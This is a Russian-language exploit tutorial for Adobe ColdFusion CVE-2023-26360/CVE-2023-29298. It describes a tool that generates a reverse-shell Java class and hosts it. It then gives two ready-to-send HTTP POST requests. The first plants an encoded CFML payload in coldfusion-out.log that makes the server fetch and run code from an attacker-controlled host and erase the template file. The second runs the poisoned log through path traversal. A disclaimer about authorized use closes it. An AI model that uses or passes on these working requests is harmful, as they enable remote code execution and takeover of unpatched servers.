
Adobe ColdFusion CVE-2023-26360/CVE-2023-29298: автоматическая реализация реверс-шелла
Эксплуатация уязвимостей CVE-2023-29298/CVE-2023-26360 с обратной оболочкой
Принцип уязвимости заключается в том, что данные, которые мы отправляем в запросе CFML-клиента, сохраняются в coldfusion-out.log на сервере. В этом каталоге записывается информация об ошибках запросов. В файле coldfusion-out.log оказывается наш код, после чего мы используем classname для чтения и выполнения этого файла журнала, достигая таким образом выполнения кода.
У меня есть идея: поместить вредоносный класс на сервер, затем загрузить и сохранить этот файл класса, а затем вызвать его. Через эту уязвимость он будет динамически загружать класс и вызывать наш файл класса для выполнения.
Для этого напишем скрипт, который сгенерирует архив, а внутри этого архива
В каталоге code архива
utilize
├── address
└── Poc.class
В Poc.java в основном хранится код для обратной оболочки
В address хранятся адрес и порт
Реализовать всё это вручную очень и очень хлопотно, поэтому я написал инструмент для автоматической генерации: он собирает java-байткод, задаёт IP и порт для обратной оболочки и запускает web-сервер.
имя_инструмента -host указать_IP_для_обратной_оболочки -port указать_порт_для_обратной_оболочки -p указать_http_порт (по умолчанию 8888)

Смотрим

Затем мы отправляем запрос на запись кода ошибки в журнал. В части данных POST ниже измените http://192.168.191.58:8888/GjfZgo на адрес, где запущен сервис.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e
Затем выполняем код из журнала. Он фиксированный, отправляем как есть.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}
Выполняем, смотрим — оболочка получена.

\1. Данный инструмент безопасности предназначен исключительно для технических исследований и образовательных целей. При использовании инструмента соблюдайте действующие законы, нормативные акты и этические нормы.
\2. Инструмент может использоваться для тестирования уязвимостей и проведения пентестов, но только в рамках авторизованных действий. В противном случае автор не несёт ответственности.
\3. Использование инструмента может быть связано с определёнными рисками и неопределённостью. Пользователь самостоятельно несёт все риски, связанные с его использованием.
\4. Пользователь данного инструмента самостоятельно несёт все риски и ответственность. Разработчик не несёт никакой ответственности за последствия использования данного инструмента пользователем.